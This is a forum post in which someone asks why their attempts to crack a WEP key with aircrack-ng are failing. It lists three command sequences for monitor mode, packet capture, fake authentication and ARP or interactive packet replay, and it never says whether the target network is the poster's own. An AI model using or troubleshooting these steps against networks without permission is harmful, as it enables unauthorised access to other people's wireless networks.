Please guys, I'd really like to get some help. I'm trying to get a wep key, but aircrack is not working. I've already tried the following methods:
1) airmon-ng start wlan0 --> airodump-ng mon0 -->airodump-ng -w wep -c (channel number) -bssid ( number ) mon0
new terminal --> aireplay-ng -1 0 -a bssid mon0 -->aireplay-ng -3 -b bssid mon0
Here I sto becausse data doesn't rise from 0, just beacons get increased

2) ifconfig wlan0 up --> airmon-ng start wlan0 --> airodump-ng mon0 --> airodump-ng -c (channel) -w wep --bssid (numbers) mon0 --> aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid) mon0 --> here data should increase, but nothnig happens again.

3)airmon-ng start wlan0 -->airodump-ng mon0 --> airodump-ng -c (channel) --bssid (numbers) mon0
new terminal: aireplay-ng -1 0 -a (bssid numbers) mon0
new terminal: aireplay-ng -3 -b (bssid numbers) mon0
Here data should get increased also, but nothing happens again.

In each case mentioned above, data doesn't increase from zero, just beacons get increased very fast. Also, when I type the aireplay, I receive the message "no source mac (-h) specified. using the device mac" . Am I doing anything wrong ? Please, could anybody help me ? Thanks a lot.